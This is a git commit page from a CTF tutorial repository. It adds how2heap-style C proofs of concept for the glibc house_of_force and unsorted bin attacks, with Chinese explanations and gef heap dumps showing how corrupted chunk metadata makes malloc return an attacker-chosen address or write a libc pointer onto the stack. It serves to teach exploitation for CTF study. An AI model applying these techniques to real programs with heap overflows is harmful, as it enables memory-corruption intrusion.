mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2024-12-24 19:21:15 +07:00
update 3.3.7
This commit is contained in:
parent
7a450288f9
commit
af116609bc
@ -11,8 +11,195 @@
|
||||
|
||||
## how2heap
|
||||
#### house_of_force
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
#include <malloc.h>
|
||||
|
||||
char bss_var[] = "This is a string that we want to overwrite.";
|
||||
|
||||
int main() {
|
||||
fprintf(stderr, "We will overwrite a variable at %p\n\n", bss_var);
|
||||
|
||||
intptr_t *p1 = malloc(0x10);
|
||||
int real_size = malloc_usable_size(p1);
|
||||
memset(p1, 'A', real_size);
|
||||
fprintf(stderr, "Let's allocate the first chunk of 0x10 bytes: %p.\n", p1);
|
||||
fprintf(stderr, "Real size of our allocated chunk is 0x%x.\n\n", real_size);
|
||||
|
||||
intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size);
|
||||
fprintf(stderr, "Overwriting the top chunk size with a big value so the malloc will never call mmap.\n");
|
||||
fprintf(stderr, "Old size of top chunk: %#llx\n", *((unsigned long long int *)ptr_top));
|
||||
ptr_top[0] = -1;
|
||||
fprintf(stderr, "New size of top chunk: %#llx\n", *((unsigned long long int *)ptr_top));
|
||||
|
||||
unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*2 - (unsigned long)ptr_top;
|
||||
fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size, we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
|
||||
void *new_ptr = malloc(evil_size);
|
||||
int real_size_new = malloc_usable_size(new_ptr);
|
||||
memset((char *)new_ptr + real_size_new - 0x20, 'A', 0x20);
|
||||
fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr);
|
||||
|
||||
void* ctr_chunk = malloc(0x30);
|
||||
fprintf(stderr, "malloc(0x30) => %p!\n", ctr_chunk);
|
||||
fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer, so we can overwrite the value.\n");
|
||||
|
||||
fprintf(stderr, "old string: %s\n", bss_var);
|
||||
strcpy(ctr_chunk, "YEAH!!!");
|
||||
fprintf(stderr, "new string: %s\n", bss_var);
|
||||
}
|
||||
```
|
||||
```
|
||||
$ gcc -g house_of_force.c
|
||||
$ ./a.out
|
||||
We will overwrite a variable at 0x601080
|
||||
|
||||
Let's allocate the first chunk of 0x10 bytes: 0x824010.
|
||||
Real size of our allocated chunk is 0x18.
|
||||
|
||||
Overwriting the top chunk size with a big value so the malloc will never call mmap.
|
||||
Old size of top chunk: 0x20fe1
|
||||
New size of top chunk: 0xffffffffffffffff
|
||||
|
||||
The value we want to write to at 0x601080, and the top chunk is at 0x824028, so accounting for the header size, we will malloc 0xffffffffffddd048 bytes.
|
||||
As expected, the new pointer is at the same place as the old top chunk: 0x824030
|
||||
malloc(0x30) => 0x601080!
|
||||
|
||||
Now, the next chunk we overwrite will point at our target buffer, so we can overwrite the value.
|
||||
old string: This is a string that we want to overwrite.
|
||||
new string: YEAH!!!
|
||||
```
|
||||
house_of\_force 是一种通过改写 top chunk 来欺骗 malloc 返回任意地址的技术。我们知道在空闲内存的最高处,必然存在一块空闲的 chunk,即 top chunk,当 bins 和 fast bins 都不能满足分配需要的时候,malloc 会从 top chunk 中分出一块内存给用户。所以 top chunk 的大小会随着分配和回收不停地变化。这种攻击假设有一个溢出漏洞,可以改写 top chunk 的头部,然后将其改为一个非常大的值,以确保所有的 malloc 将使用 top chunk 分配,而不会调用 mmap。
|
||||
|
||||
首先随意分配一个 chunk,此时内存里存在两个 chunk,即 chunk 1 和 top chunk:
|
||||
```
|
||||
gef➤ x/8gx 0x602010-0x10
|
||||
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk 1
|
||||
0x602010: 0x4141414141414141 0x4141414141414141
|
||||
0x602020: 0x4141414141414141 0x0000000000020fe1 <-- top chunk
|
||||
0x602030: 0x0000000000000000 0x0000000000000000
|
||||
```
|
||||
chunk 1 真实可用的内存有 0x18 字节。
|
||||
|
||||
假设 chunk 1 存在溢出,利用该漏洞我们现在将 top chunk 的 size 值改为一个非常大的数:
|
||||
```
|
||||
gef➤ x/8gx 0x602010-0x10
|
||||
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk 1
|
||||
0x602010: 0x4141414141414141 0x4141414141414141
|
||||
0x602020: 0x4141414141414141 0xffffffffffffffff <-- modified top chunk
|
||||
0x602030: 0x0000000000000000 0x0000000000000000
|
||||
```
|
||||
改写之后的 size==0xffffffff。
|
||||
|
||||
现在我们可以 malloc 一个任意大小的内存而不用调用 mmap 了。接下来 malloc 一个 chunk,使得该 chunk 刚好分配到我们想要控制的那块区域为止,这样在下一次 malloc 时,就可以返回到我们想要控制的区域了。计算方法是用目标地址减去 top chunk 地址,再减去 chunk 头的大小。
|
||||
```
|
||||
gef➤ x/8gx 0x602010-0x10
|
||||
0x602000: 0x0000000000000000 0x0000000000000021
|
||||
0x602010: 0x4141414141414141 0x4141414141414141
|
||||
0x602020: 0x4141414141414141 0xfffffffffffff051
|
||||
0x602030: 0x0000000000000000 0x0000000000000000
|
||||
gef➤ x/12gx 0x602010+0xfffffffffffff050
|
||||
0x601060: 0x4141414141414141 0x4141414141414141
|
||||
0x601070: 0x4141414141414141 0x0000000000000fa9 <-- top chunk
|
||||
0x601080 <bss_var>: 0x2073692073696854 0x676e697274732061 <-- target
|
||||
0x601090 <bss_var+16>: 0x6577207461687420 0x6f7420746e617720
|
||||
0x6010a0 <bss_var+32>: 0x6972777265766f20 0x00000000002e6574
|
||||
0x6010b0: 0x0000000000000000 0x0000000000000000
|
||||
```
|
||||
|
||||
再次 malloc,将目标地址包含进来即可,现在我们就成功控制了目标内存:
|
||||
```
|
||||
gef➤ x/12gx 0x602010+0xfffffffffffff050
|
||||
0x601060: 0x4141414141414141 0x4141414141414141
|
||||
0x601070: 0x4141414141414141 0x0000000000000041 <-- chunk 2
|
||||
0x601080 <bss_var>: 0x2073692073696854 0x676e697274732061 <-- target
|
||||
0x601090 <bss_var+16>: 0x6577207461687420 0x6f7420746e617720
|
||||
0x6010a0 <bss_var+32>: 0x6972777265766f20 0x00000000002e6574
|
||||
0x6010b0: 0x0000000000000000 0x0000000000000f69 <-- top chunk
|
||||
```
|
||||
|
||||
#### unsorted_bin_attack
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
int main() {
|
||||
unsigned long stack_var = 0;
|
||||
fprintf(stderr, "The target we want to rewrite on stack: %p -> %ld\n\n", &stack_var, stack_var);
|
||||
|
||||
unsigned long *p = malloc(0x80);
|
||||
unsigned long *p1 = malloc(0x10);
|
||||
fprintf(stderr, "Now, we allocate first small chunk on the heap at: %p\n",p);
|
||||
|
||||
free(p);
|
||||
fprintf(stderr, "We free the first chunk now. Its bk pointer point to %p\n", (void*)p[1]);
|
||||
|
||||
p[1] = (unsigned long)(&stack_var - 2);
|
||||
fprintf(stderr, "We write it with the target address-0x10: %p\n\n", (void*)p[1]);
|
||||
|
||||
malloc(0x80);
|
||||
fprintf(stderr, "Let's malloc again to get the chunk we just free: %p -> %p\n", &stack_var, (void*)stack_var);
|
||||
}
|
||||
```
|
||||
unsorted bin 攻击通常是为更进一步的攻击做准备的,我们知道 unsorted bin 是一个双向链表,在分配时会通过 unlink 操作将 chunk 从链表中移除,所以如果能够控制 unsorted bin chunk 的 bk 指针,就可以向任意位置写入一个指针。这里通过 unlink 将 libc 的信息写入到我们可控的内存中,从而导致信息泄漏,为进一步的攻击提供便利。
|
||||
|
||||
unlink 的对 unsorted bin 的操作是这样的:
|
||||
```c
|
||||
/* remove from unsorted list */
|
||||
unsorted_chunks (av)->bk = bck;
|
||||
bck->fd = unsorted_chunks (av);
|
||||
```
|
||||
其中 `bck = victim->bk`。
|
||||
|
||||
首先分配两个 chunk,然后释放掉第一个,它将被加入到 unsorted bin 中:
|
||||
```
|
||||
gef➤ x/26gx 0x602010-0x10
|
||||
0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 1 [be freed]
|
||||
0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
|
||||
0x602020: 0x0000000000000000 0x0000000000000000
|
||||
0x602030: 0x0000000000000000 0x0000000000000000
|
||||
0x602040: 0x0000000000000000 0x0000000000000000
|
||||
0x602050: 0x0000000000000000 0x0000000000000000
|
||||
0x602060: 0x0000000000000000 0x0000000000000000
|
||||
0x602070: 0x0000000000000000 0x0000000000000000
|
||||
0x602080: 0x0000000000000000 0x0000000000000000
|
||||
0x602090: 0x0000000000000090 0x0000000000000020 <-- chunk 2
|
||||
0x6020a0: 0x0000000000000000 0x0000000000000000
|
||||
0x6020b0: 0x0000000000000000 0x0000000000020f51 <-- top chunk
|
||||
0x6020c0: 0x0000000000000000 0x0000000000000000
|
||||
gef➤ x/4gx &stack_var-2
|
||||
0x7fffffffdc50: 0x00007fffffffdd60 0x0000000000400712
|
||||
0x7fffffffdc60: 0x0000000000000000 0x0000000000602010
|
||||
gef➤ heap bins unsorted
|
||||
[ Unsorted Bin for arena 'main_arena' ]
|
||||
[+] unsorted_bins[0]: fw=0x602000, bk=0x602000
|
||||
→ Chunk(addr=0x602010, size=0x90, flags=PREV_INUSE)
|
||||
```
|
||||
|
||||
然后假设存在一个溢出漏洞,可以让我们修改 chunk 1 的数据。然后我们将 chunk 1 的 bk 指针修改为指向目标地址 - 2,也就相当于是在目标地址处有一个 fake free chunk,然后 malloc:
|
||||
```
|
||||
gef➤ x/26gx 0x602010-0x10
|
||||
0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 3
|
||||
0x602010: 0x00007ffff7dd1b78 0x00007fffffffdc50
|
||||
0x602020: 0x0000000000000000 0x0000000000000000
|
||||
0x602030: 0x0000000000000000 0x0000000000000000
|
||||
0x602040: 0x0000000000000000 0x0000000000000000
|
||||
0x602050: 0x0000000000000000 0x0000000000000000
|
||||
0x602060: 0x0000000000000000 0x0000000000000000
|
||||
0x602070: 0x0000000000000000 0x0000000000000000
|
||||
0x602080: 0x0000000000000000 0x0000000000000000
|
||||
0x602090: 0x0000000000000090 0x0000000000000021 <-- chunk 2
|
||||
0x6020a0: 0x0000000000000000 0x0000000000000000
|
||||
0x6020b0: 0x0000000000000000 0x0000000000020f51 <-- top chunk
|
||||
0x6020c0: 0x0000000000000000 0x0000000000000000
|
||||
gef➤ x/4gx &stack_var-2
|
||||
0x7fffffffdc50: 0x00007fffffffdc80 0x0000000000400756 <-- fake chunk
|
||||
0x7fffffffdc60: 0x00007ffff7dd1b78 0x0000000000602010 <-- fd->TAIL
|
||||
```
|
||||
从而泄漏了 unsorted bin 的头部地址。
|
||||
|
||||
#### house_of_einherjar
|
||||
|
||||
|
39
src/Others/3.3.5_heap_exploit/house_of_force.c
Normal file
39
src/Others/3.3.5_heap_exploit/house_of_force.c
Normal file
@ -0,0 +1,39 @@
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
#include <malloc.h>
|
||||
|
||||
char bss_var[] = "This is a string that we want to overwrite.";
|
||||
|
||||
int main() {
|
||||
fprintf(stderr, "We will overwrite a variable at %p\n\n", bss_var);
|
||||
|
||||
intptr_t *p1 = malloc(0x10);
|
||||
int real_size = malloc_usable_size(p1);
|
||||
memset(p1, 'A', real_size);
|
||||
fprintf(stderr, "Let's allocate the first chunk of 0x10 bytes: %p.\n", p1);
|
||||
fprintf(stderr, "Real size of our allocated chunk is 0x%x.\n\n", real_size);
|
||||
|
||||
intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size);
|
||||
fprintf(stderr, "Overwriting the top chunk size with a big value so the malloc will never call mmap.\n");
|
||||
fprintf(stderr, "Old size of top chunk: %#llx\n", *((unsigned long long int *)ptr_top));
|
||||
ptr_top[0] = -1;
|
||||
fprintf(stderr, "New size of top chunk: %#llx\n", *((unsigned long long int *)ptr_top));
|
||||
|
||||
unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*2 - (unsigned long)ptr_top;
|
||||
fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size, we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
|
||||
void *new_ptr = malloc(evil_size);
|
||||
int real_size_new = malloc_usable_size(new_ptr);
|
||||
memset((char *)new_ptr + real_size_new - 0x20, 'A', 0x20);
|
||||
fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr);
|
||||
|
||||
void* ctr_chunk = malloc(0x30);
|
||||
fprintf(stderr, "malloc(0x30) => %p!\n", ctr_chunk);
|
||||
fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer, so we can overwrite the value.\n");
|
||||
|
||||
fprintf(stderr, "old string: %s\n", bss_var);
|
||||
strcpy(ctr_chunk, "YEAH!!!");
|
||||
fprintf(stderr, "new string: %s\n", bss_var);
|
||||
}
|
20
src/Others/3.3.5_heap_exploit/unsorted_bin_attack.c
Normal file
20
src/Others/3.3.5_heap_exploit/unsorted_bin_attack.c
Normal file
@ -0,0 +1,20 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
int main() {
|
||||
unsigned long stack_var = 0;
|
||||
fprintf(stderr, "The target we want to rewrite on stack: %p -> %ld\n\n", &stack_var, stack_var);
|
||||
|
||||
unsigned long *p = malloc(0x80);
|
||||
unsigned long *p1 = malloc(0x10);
|
||||
fprintf(stderr, "Now, we allocate first small chunk on the heap at: %p\n",p);
|
||||
|
||||
free(p);
|
||||
fprintf(stderr, "We free the first chunk now. Its bk pointer point to %p\n", (void*)p[1]);
|
||||
|
||||
p[1] = (unsigned long)(&stack_var - 2);
|
||||
fprintf(stderr, "We write it with the target address-0x10: %p\n\n", (void*)p[1]);
|
||||
|
||||
malloc(0x80);
|
||||
fprintf(stderr, "Let's malloc again to get the chunk we just free: %p -> %p\n", &stack_var, (void*)stack_var);
|
||||
}
|
Loading…
Reference in New Issue
Block a user